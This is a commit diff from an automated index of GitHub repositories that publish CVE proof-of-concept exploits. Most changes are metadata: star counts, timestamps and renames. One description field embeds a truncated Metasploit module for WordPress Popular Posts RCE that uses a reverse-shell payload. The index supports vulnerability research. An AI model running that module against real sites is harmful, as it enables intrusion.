nomi-sec/PoC-in-GitHub
1
0 Fork 0
mirror of https://github.com/nomi-sec/PoC-in-GitHub.git synced 2026-11-07 08:30:25 -10:00
Code Issues Packages Projects Releases Wiki Activity

Auto Update 2026/09/30 19:45:54

Browse Source
This commit is contained in:
motikan2010-bot committed 2026-10-01 04:45:54 +09:00
1 parent 43278ea495
commit 8e5b363473
82 files changed
+911 -456
Download Patch File Download Diff File Expand all files Collapse all files

No files matched your search

2008/CVE-2008-5862.json
+1 -1
View File
@@ -34,6 +34,6 @@
"forks": 1,
"watchers": 3,
"score": 0,
"subscribers_count": 1
"subscribers_count": 2
}
]
2013/CVE-2013-2251.json
+4 -4
View File
@@ -1,8 +1,8 @@
[
{
"id": 674466048,
"name": "CVE-2013-2251",
"full_name": "nth347\/CVE-2013-2251",
"name": "struts2-CVE-2013-2251",
"full_name": "nth347\/struts2-CVE-2013-2251",
"owner": {
"login": "nth347",
"id": 20441996,
@@ -10,11 +10,11 @@
"html_url": "https:\/\/github.com\/nth347",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/nth347\/CVE-2013-2251",
"html_url": "https:\/\/github.com\/nth347\/struts2-CVE-2013-2251",
"description": "Vulnerable environment of CVE-2013-2251 (S2-016) for testing",
"fork": false,
"created_at": "2023-08-04T02:52:03Z",
"updated_at": "2023-08-04T03:40:23Z",
"updated_at": "2026-09-30T15:42:36Z",
"pushed_at": "2023-08-04T02:57:14Z",
"stargazers_count": 0,
"watchers_count": 0,
2014/CVE-2014-0160.json
+2 -2
View File
@@ -19,7 +19,7 @@
"stargazers_count": 2379,
"watchers_count": 2379,
"has_discussions": false,
"forks_count": 449,
"forks_count": 448,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -27,7 +27,7 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 449,
"forks": 448,
"watchers": 2379,
"score": 0,
"subscribers_count": 105
2016/CVE-2016-6584.json
+1 -1
View File
@@ -30,6 +30,6 @@
"forks": 23,
"watchers": 91,
"score": 0,
"subscribers_count": 12
"subscribers_count": 11
}
]
2018/CVE-2018-6242.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "My first Android app: Launch Fusée Gelée payloads from stock Android (CVE-2018-6242)",
"fork": false,
"created_at": "2018-04-28T11:50:00Z",
"updated_at": "2026-09-23T21:37:58Z",
"updated_at": "2026-09-30T16:44:23Z",
"pushed_at": "2022-12-11T10:44:39Z",
"stargazers_count": 561,
"watchers_count": 561,
"stargazers_count": 560,
"watchers_count": 560,
"has_discussions": false,
"forks_count": 54,
"allow_forking": true,
@@ -35,7 +35,7 @@
],
"visibility": "public",
"forks": 54,
"watchers": 561,
"watchers": 560,
"score": 0,
"subscribers_count": 51
},
2018/CVE-2018-7600.json
+4 -4
View File
@@ -1744,10 +1744,10 @@
"description": null,
"fork": false,
"created_at": "2026-08-20T18:21:55Z",
"updated_at": "2026-09-07T11:03:48Z",
"updated_at": "2026-09-30T14:08:46Z",
"pushed_at": "2026-08-20T18:25:40Z",
"stargazers_count": 1,
"watchers_count": 1,
"stargazers_count": 2,
"watchers_count": 2,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -1758,7 +1758,7 @@
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 1,
"watchers": 2,
"score": 0,
"subscribers_count": 0
},
2019/CVE-2019-11358.json
+4 -4
View File
@@ -133,10 +133,10 @@
"description": "NOTICE This repository contains the public FTC SDK for the SKYSTONE (2019-2020) competition season. If you are looking for the current season's FTC SDK software, please visit the new and permanent home of the public FTC SDK: FtcRobotController repository Welcome! This GitHub repository contains the source code that is used to build an Android app to control a FIRST Tech Challenge competition robot. To use this SDK, download\/clone the entire project to your local computer. Getting Started If you are new to robotics or new to the FIRST Tech Challenge, then you should consider reviewing the FTC Blocks Tutorial to get familiar with how to use the control system: FTC Blocks Online Tutorial Even if you are an advanced Java programmer, it is helpful to start with the FTC Blocks tutorial, and then migrate to the OnBot Java Tool or to Android Studio afterwards. Downloading the Project If you are an Android Studio programmer, there are several ways to download this repo. Note that if you use the Blocks or OnBot Java Tool to program your robot, then you do not need to download this repository. If you are a git user, you can clone the most current version of the repository: git clone https:\/\/github.com\/FIRST-Tech-Challenge\/SKYSTONE.git Or, if you prefer, you can use the \"Download Zip\" button available through the main repository page. Downloading the project as a .ZIP file will keep the size of the download manageable. You can also download the project folder (as a .zip or .tar.gz archive file) from the Downloads subsection of the Releases page for this repository. Once you have downloaded and uncompressed (if needed) your folder, you can use Android Studio to import the folder (\"Import project (Eclipse ADT, Gradle, etc.)\"). Getting Help User Documentation and Tutorials FIRST maintains online documentation with information and tutorials on how to use the FIRST Tech Challenge software and robot control system. You can access this documentation using the following link: SKYSTONE Online Documentation Note that the online documentation is an \"evergreen\" document that is constantly being updated and edited. It contains the most current information about the FIRST Tech Challenge software and control system. Javadoc Reference Material The Javadoc reference documentation for the FTC SDK is now available online. Click on the following link to view the FTC SDK Javadoc documentation as a live website: FTC Javadoc Documentation Documentation for the FTC SDK is also included with this repository. There is a subfolder called \"doc\" which contains several subfolders: The folder \"apk\" contains the .apk files for the FTC Driver Station and FTC Robot Controller apps. The folder \"javadoc\" contains the JavaDoc user documentation for the FTC SDK. Online User Forum For technical questions regarding the Control System or the FTC SDK, please visit the FTC Technology forum: FTC Technology Forum Release Information Version 5.5 (20200824-090813) Version 5.5 requires Android Studio 4.0 or later. New features Adds support for calling custom Java classes from Blocks OpModes (fixes SkyStone issue #161). Classes must be in the org.firstinspires.ftc.teamcode package. Methods must be public static and have no more than 21 parameters. Parameters declared as OpMode, LinearOpMode, Telemetry, and HardwareMap are supported and the argument is provided automatically, regardless of the order of the parameters. On the block, the sockets for those parameters are automatically filled in. Parameters declared as char or java.lang.Character will accept any block that returns text and will only use the first character in the text. Parameters declared as boolean or java.lang.Boolean will accept any block that returns boolean. Parameters declared as byte, java.lang.Byte, short, java.lang.Short, int, java.lang.Integer, long, or java.lang.Long, will accept any block that returns a number and will round that value to the nearest whole number. Parameters declared as float, java.lang.Float, double, java.lang.Double will accept any block that returns a number. Adds telemetry API method for setting display format Classic Monospace HTML (certain tags only) Adds blocks support for switching cameras. Adds Blocks support for TensorFlow Object Detection with a custom model. Adds support for uploading a custom TensorFlow Object Detection model in the Manage page, which is especially useful for Blocks and OnBotJava users. Shows new Control Hub blink codes when the WiFi band is switched using the Control Hub's button (only possible on Control Hub OS 1.1.2) Adds new warnings which can be disabled in the Advanced RC Settings Mismatched app versions warning Unnecessary 2.4 GHz WiFi usage warning REV Hub is running outdated firmware (older than version 1.8.2) Adds support for Sony PS4 gamepad, and reworks how gamepads work on the Driver Station Removes preference which sets gamepad type baseLine truncated
"fork": false,
"created_at": "2021-03-08T11:34:11Z",
"updated_at": "2026-09-27T16:10:41Z",
"updated_at": "2026-09-30T17:08:05Z",
"pushed_at": "2024-04-12T05:48:35Z",
"stargazers_count": 314,
"watchers_count": 314,
"stargazers_count": 315,
"watchers_count": 315,
"has_discussions": false,
"forks_count": 93,
"allow_forking": true,
@@ -147,7 +147,7 @@
"topics": [],
"visibility": "public",
"forks": 93,
"watchers": 314,
"watchers": 315,
"score": 0,
"subscribers_count": 15
},
2020/CVE-2020-14008.json
+5 -5
View File
@@ -67,8 +67,8 @@
},
{
"id": 1390397688,
"name": "CVE-2020-14008---ManageEngine",
"full_name": "raflesiait\/CVE-2020-14008---ManageEngine",
"name": "CVE-2020-14008_ManageEngine",
"full_name": "raflesiait\/CVE-2020-14008_ManageEngine",
"owner": {
"login": "raflesiait",
"id": 231134193,
@@ -76,12 +76,12 @@
"html_url": "https:\/\/github.com\/raflesiait",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/raflesiait\/CVE-2020-14008---ManageEngine",
"html_url": "https:\/\/github.com\/raflesiait\/CVE-2020-14008_ManageEngine",
"description": "CVE-2020-14008 — ManageEngine Applications Manager Remote Code Execution",
"fork": false,
"created_at": "2026-09-27T07:41:02Z",
"updated_at": "2026-09-27T10:00:19Z",
"pushed_at": "2026-09-27T10:00:15Z",
"updated_at": "2026-09-30T14:40:14Z",
"pushed_at": "2026-09-30T14:32:40Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2020/CVE-2020-16152.json
+4 -4
View File
@@ -47,10 +47,10 @@
"description": "### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192\/172\/127\/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https:\/\/blog.nintechnet.com\/improper-input-validation-fixed-in-wordpress-popular-posts-plugin\/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https:\/\/plugins.trac.wordpress.org\/changeset\/2542638' ], [ 'URL', 'https:\/\/github.com\/cabrerahector\/wordpress-popular-posts\/commit\/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php\/meterpreter\/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '\/']), # https:\/\/github.com\/WordPress\/wordpress-develop\/blob\/5.8\/src\/wp-includes\/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192\/10\/127\/172)', '']), # https:\/\/github.com\/WordPress\/wordpress-develop\/blob\/5.8\/src\/wp-includes\/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status(\"Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5\") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passLine truncated
"fork": false,
"created_at": "2022-01-02T08:08:00Z",
"updated_at": "2026-09-29T12:11:45Z",
"updated_at": "2026-09-30T17:23:51Z",
"pushed_at": "2022-01-02T08:08:01Z",
"stargazers_count": 16,
"watchers_count": 16,
"stargazers_count": 17,
"watchers_count": 17,
"has_discussions": false,
"forks_count": 3,
"allow_forking": true,
@@ -61,7 +61,7 @@
"topics": [],
"visibility": "public",
"forks": 3,
"watchers": 16,
"watchers": 17,
"score": 0,
"subscribers_count": 1
}
2020/CVE-2020-17530.json
+4 -4
View File
@@ -334,8 +334,8 @@
},
{
"id": 674467910,
"name": "CVE-2020-17530",
"full_name": "nth347\/CVE-2020-17530",
"name": "struts2-CVE-2020-17530",
"full_name": "nth347\/struts2-CVE-2020-17530",
"owner": {
"login": "nth347",
"id": 20441996,
@@ -343,11 +343,11 @@
"html_url": "https:\/\/github.com\/nth347",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/nth347\/CVE-2020-17530",
"html_url": "https:\/\/github.com\/nth347\/struts2-CVE-2020-17530",
"description": "Vulnerable environment of CVE-2020-17530 (S2-061) for testing",
"fork": false,
"created_at": "2023-08-04T03:00:28Z",
"updated_at": "2023-08-04T03:04:10Z",
"updated_at": "2026-09-30T15:42:40Z",
"pushed_at": "2023-08-04T03:02:21Z",
"stargazers_count": 0,
"watchers_count": 0,
2020/CVE-2020-24186.json
+1 -1
View File
@@ -113,7 +113,7 @@
"description": null,
"fork": false,
"created_at": "2023-12-21T23:23:43Z",
"updated_at": "2026-08-09T22:43:33Z",
"updated_at": "2026-09-30T18:12:38Z",
"pushed_at": "2023-12-21T23:43:48Z",
"stargazers_count": 14,
"watchers_count": 14,
2021/CVE-2021-22911.json
+4 -4
View File
@@ -47,10 +47,10 @@
"description": "Full unauthenticated RCE proof of concept for Rocket.Chat 3.12.1 CVE-2021-22911",
"fork": false,
"created_at": "2021-07-30T21:44:18Z",
"updated_at": "2025-03-20T18:23:53Z",
"updated_at": "2026-09-30T13:05:21Z",
"pushed_at": "2021-07-30T22:00:52Z",
"stargazers_count": 9,
"watchers_count": 9,
"stargazers_count": 10,
"watchers_count": 10,
"has_discussions": false,
"forks_count": 1,
"allow_forking": true,
@@ -61,7 +61,7 @@
"topics": [],
"visibility": "public",
"forks": 1,
"watchers": 9,
"watchers": 10,
"score": 0,
"subscribers_count": 1
},
2021/CVE-2021-3129.json
+38
View File
@@ -980,6 +980,44 @@
"score": 0,
"subscribers_count": 1
},
{
"id": 1261264631,
"name": "CVE-2021-3129",
"full_name": "cchiaravalentini\/CVE-2021-3129",
"owner": {
"login": "cchiaravalentini",
"id": 237313028,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/237313028?v=4",
"html_url": "https:\/\/github.com\/cchiaravalentini",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/cchiaravalentini\/CVE-2021-3129",
"description": "Reproduction and patch verification of CVE-2021-3129 (Laravel Ignition RCE) in Docker. University project, Data Privacy and Security, LUISS.",
"fork": false,
"created_at": "2026-06-06T13:07:01Z",
"updated_at": "2026-09-30T13:54:58Z",
"pushed_at": "2026-09-30T13:52:49Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [
"cve",
"cybersecurity",
"doker",
"vulnerbility-analysis"
],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1305147071,
"name": "CVE-2021-3129-Lab",
2021/CVE-2021-31805.json
+4 -4
View File
@@ -232,8 +232,8 @@
},
{
"id": 674477369,
"name": "CVE-2021-31805",
"full_name": "nth347\/CVE-2021-31805",
"name": "struts2-CVE-2021-31805",
"full_name": "nth347\/struts2-CVE-2021-31805",
"owner": {
"login": "nth347",
"id": 20441996,
@@ -241,11 +241,11 @@
"html_url": "https:\/\/github.com\/nth347",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/nth347\/CVE-2021-31805",
"html_url": "https:\/\/github.com\/nth347\/struts2-CVE-2021-31805",
"description": "Vulnerable environment of CVE-2021-31805 (S2-062) for testing",
"fork": false,
"created_at": "2023-08-04T03:42:37Z",
"updated_at": "2023-08-04T03:46:31Z",
"updated_at": "2026-09-30T15:42:42Z",
"pushed_at": "2023-08-04T03:46:00Z",
"stargazers_count": 0,
"watchers_count": 0,
2022/CVE-2022-23222.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "CVE-2022-23222: Linux Kernel eBPF Local Privilege Escalation",
"fork": false,
"created_at": "2022-06-07T03:20:23Z",
"updated_at": "2026-09-30T02:39:34Z",
"updated_at": "2026-09-30T18:23:15Z",
"pushed_at": "2022-06-07T03:41:13Z",
"stargazers_count": 569,
"watchers_count": 569,
"stargazers_count": 570,
"watchers_count": 570,
"has_discussions": false,
"forks_count": 94,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 94,
"watchers": 569,
"watchers": 570,
"score": 0,
"subscribers_count": 6
},
2022/CVE-2022-44721.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": null,
"fork": false,
"created_at": "2022-12-03T11:04:17Z",
"updated_at": "2026-06-04T21:35:37Z",
"updated_at": "2026-09-30T18:17:56Z",
"pushed_at": "2022-12-02T14:38:27Z",
"stargazers_count": 24,
"watchers_count": 24,
"stargazers_count": 23,
"watchers_count": 23,
"has_discussions": false,
"forks_count": 8,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 8,
"watchers": 24,
"watchers": 23,
"score": 0,
"subscribers_count": 0
}
2023/CVE-2023-0264.json
+1 -1
View File
@@ -14,7 +14,7 @@
"description": "A small PoC for the Keycloak vulnerability CVE-2023-0264",
"fork": false,
"created_at": "2023-03-06T14:42:19Z",
"updated_at": "2024-11-28T01:07:46Z",
"updated_at": "2026-09-30T14:53:29Z",
"pushed_at": "2023-03-06T15:47:30Z",
"stargazers_count": 7,
"watchers_count": 7,
2023/CVE-2023-20198.json
+2 -2
View File
@@ -377,8 +377,8 @@
"description": "Cisco IOS XE implant scanning & detection (CVE-2023-20198, CVE-2023-20273)",
"fork": false,
"created_at": "2023-10-23T14:52:18Z",
"updated_at": "2025-10-14T22:40:36Z",
"pushed_at": "2023-11-07T12:21:26Z",
"updated_at": "2026-09-30T14:00:51Z",
"pushed_at": "2026-09-30T13:59:44Z",
"stargazers_count": 41,
"watchers_count": 41,
"has_discussions": false,
2023/CVE-2023-20696.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "Cert exploit for MTK devices.There is a logic flaw in MTK cert verification process.Similar to CVE-2023-20696.",
"fork": false,
"created_at": "2026-06-22T02:09:35Z",
"updated_at": "2026-09-26T03:15:45Z",
"updated_at": "2026-09-30T18:29:42Z",
"pushed_at": "2026-07-23T12:23:11Z",
"stargazers_count": 31,
"watchers_count": 31,
"stargazers_count": 32,
"watchers_count": 32,
"has_discussions": false,
"forks_count": 13,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 13,
"watchers": 31,
"watchers": 32,
"score": 0,
"subscribers_count": 1
},
2023/CVE-2023-32434.json
+2 -2
View File
@@ -47,8 +47,8 @@
"description": "oob_entry tfp0 kernel exploit for armv7 iOS (iOS 3.0–10.3.4), using CVE-2023-32434. We will publish a write-up detailing the methods in the coming weeks. 🐙",
"fork": false,
"created_at": "2025-08-13T09:19:29Z",
"updated_at": "2026-09-30T10:24:17Z",
"pushed_at": "2026-09-30T10:24:13Z",
"updated_at": "2026-09-30T19:11:13Z",
"pushed_at": "2026-09-30T19:11:09Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2024/CVE-2024-21413.json
+4 -4
View File
@@ -113,10 +113,10 @@
"description": "CVE-2024-21413 PoC for THM Lab",
"fork": false,
"created_at": "2024-02-17T14:52:52Z",
"updated_at": "2026-09-29T14:20:49Z",
"updated_at": "2026-09-30T14:14:44Z",
"pushed_at": "2024-03-13T02:44:28Z",
"stargazers_count": 286,
"watchers_count": 286,
"stargazers_count": 287,
"watchers_count": 287,
"has_discussions": false,
"forks_count": 63,
"allow_forking": true,
@@ -127,7 +127,7 @@
"topics": [],
"visibility": "public",
"forks": 63,
"watchers": 286,
"watchers": 287,
"score": 0,
"subscribers_count": 2
},
2024/CVE-2024-49138.json
+2 -2
View File
@@ -19,7 +19,7 @@
"stargazers_count": 270,
"watchers_count": 270,
"has_discussions": false,
"forks_count": 60,
"forks_count": 59,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -32,7 +32,7 @@
"windows"
],
"visibility": "public",
"forks": 60,
"forks": 59,
"watchers": 270,
"score": 0,
"subscribers_count": 3
2025/CVE-2025-15001.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": null,
"fork": false,
"created_at": "2026-08-01T08:26:53Z",
"updated_at": "2026-08-01T08:55:17Z",
"updated_at": "2026-09-30T15:59:11Z",
"pushed_at": "2026-08-01T08:37:28Z",
"stargazers_count": 1,
"watchers_count": 1,
"stargazers_count": 2,
"watchers_count": 2,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 1,
"watchers": 2,
"score": 0,
"subscribers_count": 0
}
2025/CVE-2025-24257.json
+2 -2
View File
@@ -14,8 +14,8 @@
"description": "Demonstrate CVE-2025-24257 with a public PoC for IOGPUFamily kernel heap OOB read\/write and panic analysis",
"fork": false,
"created_at": "2026-04-04T03:42:55Z",
"updated_at": "2026-09-30T11:00:03Z",
"pushed_at": "2026-09-30T10:59:59Z",
"updated_at": "2026-09-30T16:09:15Z",
"pushed_at": "2026-09-30T16:09:10Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2025/CVE-2025-29927.json
+33
View File
@@ -4129,5 +4129,38 @@
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1398568803,
"name": "CVE-2025-29927",
"full_name": "vulnace\/CVE-2025-29927",
"owner": {
"login": "vulnace",
"id": 70432254,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/70432254?v=4",
"html_url": "https:\/\/github.com\/vulnace",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/vulnace\/CVE-2025-29927",
"description": "POC for react2shell",
"fork": false,
"created_at": "2026-09-30T18:05:58Z",
"updated_at": "2026-09-30T18:06:52Z",
"pushed_at": "2026-09-30T18:06:49Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2025/CVE-2025-32463.json
+2 -2
View File
@@ -1496,8 +1496,8 @@
"description": "🔍 Demonstrate the CVE-2025-32463 privilege-escalation flaw in sudo's chroot feature with this minimal, reproducible proof of concept environment.",
"fork": false,
"created_at": "2025-09-20T00:42:07Z",
"updated_at": "2026-09-30T10:26:23Z",
"pushed_at": "2026-09-30T10:26:19Z",
"updated_at": "2026-09-30T19:13:06Z",
"pushed_at": "2026-09-30T19:13:01Z",
"stargazers_count": 2,
"watchers_count": 2,
"has_discussions": false,
2025/CVE-2025-36911.json
+4 -4
View File
@@ -294,10 +294,10 @@
"description": "The official reference implementation & vulnerability verification of our attack WhisperPair (CVE-2025-36911) which affects Google's Fast Pair protocol.",
"fork": false,
"created_at": "2026-03-30T15:29:04Z",
"updated_at": "2026-09-21T23:20:58Z",
"updated_at": "2026-09-30T15:20:04Z",
"pushed_at": "2026-09-21T23:20:55Z",
"stargazers_count": 96,
"watchers_count": 96,
"stargazers_count": 97,
"watchers_count": 97,
"has_discussions": false,
"forks_count": 11,
"allow_forking": true,
@@ -314,7 +314,7 @@
],
"visibility": "public",
"forks": 11,
"watchers": 96,
"watchers": 97,
"score": 0,
"subscribers_count": 2
},
2025/CVE-2025-4123.json
-33
View File
@@ -203,38 +203,5 @@
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1395650684,
"name": "grafana_mythos_cve-2025-4123",
"full_name": "primesec-dev\/grafana_mythos_cve-2025-4123",
"owner": {
"login": "primesec-dev",
"id": 226116290,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/226116290?v=4",
"html_url": "https:\/\/github.com\/primesec-dev",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/primesec-dev\/grafana_mythos_cve-2025-4123",
"description": null,
"fork": false,
"created_at": "2026-09-29T14:54:28Z",
"updated_at": "2026-09-29T15:26:24Z",
"pushed_at": "2026-09-29T16:00:58Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2025/CVE-2025-43529.json
+4 -4
View File
@@ -47,10 +47,10 @@
"description": "Analysis of CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) exploit chain - iOS Safari",
"fork": false,
"created_at": "2026-01-13T04:35:00Z",
"updated_at": "2026-09-21T06:51:11Z",
"updated_at": "2026-09-30T14:50:38Z",
"pushed_at": "2026-08-27T16:35:38Z",
"stargazers_count": 111,
"watchers_count": 111,
"stargazers_count": 112,
"watchers_count": 112,
"has_discussions": false,
"forks_count": 23,
"allow_forking": true,
@@ -61,7 +61,7 @@
"topics": [],
"visibility": "public",
"forks": 23,
"watchers": 111,
"watchers": 112,
"score": 0,
"subscribers_count": 2
},
2025/CVE-2025-48757.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "Claude Skill that audits your projects for RLS misconfigurations, exposed keys, auth bypasses, and storage vulnerabilities. 27 anti-patterns sourced from CVE-2025-48757 and 10 security studies. Safe for production.",
"fork": false,
"created_at": "2026-03-15T14:49:30Z",
"updated_at": "2026-09-30T09:51:37Z",
"updated_at": "2026-09-30T14:44:05Z",
"pushed_at": "2026-09-30T09:47:16Z",
"stargazers_count": 47,
"watchers_count": 47,
"stargazers_count": 48,
"watchers_count": 48,
"has_discussions": false,
"forks_count": 5,
"allow_forking": true,
@@ -44,7 +44,7 @@
],
"visibility": "public",
"forks": 5,
"watchers": 47,
"watchers": 48,
"score": 0,
"subscribers_count": 1
},
2025/CVE-2025-49844.json
+2 -2
View File
@@ -14,8 +14,8 @@
"description": "🔍 Explore and test the CVE-2025-49844 (RediShell) vulnerability in Redis with this practical lab environment for secure education and research.",
"fork": false,
"created_at": "2019-04-13T07:51:09Z",
"updated_at": "2026-09-30T10:30:44Z",
"pushed_at": "2026-09-30T10:30:40Z",
"updated_at": "2026-09-30T19:17:19Z",
"pushed_at": "2026-09-30T19:17:15Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
2025/CVE-2025-59528.json
+33
View File
@@ -413,5 +413,38 @@
"watchers": 1,
"score": 0,
"subscribers_count": 0
},
{
"id": 1398480455,
"name": "CVE-2025-59528-Poc",
"full_name": "Amoru-Bek\/CVE-2025-59528-Poc",
"owner": {
"login": "Amoru-Bek",
"id": 160913825,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/160913825?v=4",
"html_url": "https:\/\/github.com\/Amoru-Bek",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/Amoru-Bek\/CVE-2025-59528-Poc",
"description": null,
"fork": false,
"created_at": "2026-09-30T16:46:38Z",
"updated_at": "2026-09-30T16:58:22Z",
"pushed_at": "2026-09-30T16:58:18Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2025/CVE-2025-66478.json
+2 -2
View File
@@ -14,8 +14,8 @@
"description": "🔧 Fix vulnerable versions in Next.js and React RSC apps with one command to secure against CVE-2025-66478. Improve your app's safety effortlessly.",
"fork": false,
"created_at": "2025-10-01T07:40:09Z",
"updated_at": "2026-09-30T08:44:01Z",
"pushed_at": "2026-09-30T08:43:55Z",
"updated_at": "2026-09-30T19:25:13Z",
"pushed_at": "2026-09-30T19:25:08Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2025/CVE-2025-68921.json
+2 -2
View File
@@ -47,8 +47,8 @@
"description": "🔍 Identify and understand the local privilege escalation vulnerability (CVE-2025-68921) in Nahimic audio software, impacting many gaming laptops.",
"fork": false,
"created_at": "2026-01-24T21:00:41Z",
"updated_at": "2026-09-30T10:46:34Z",
"pushed_at": "2026-09-30T10:46:30Z",
"updated_at": "2026-09-30T19:30:41Z",
"pushed_at": "2026-09-30T19:30:36Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2026/CVE-2026-0257.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "Proof-of-concept script to leverage the PAN-OS GlobalProtect authentication bypass CVE-2026-0257",
"fork": false,
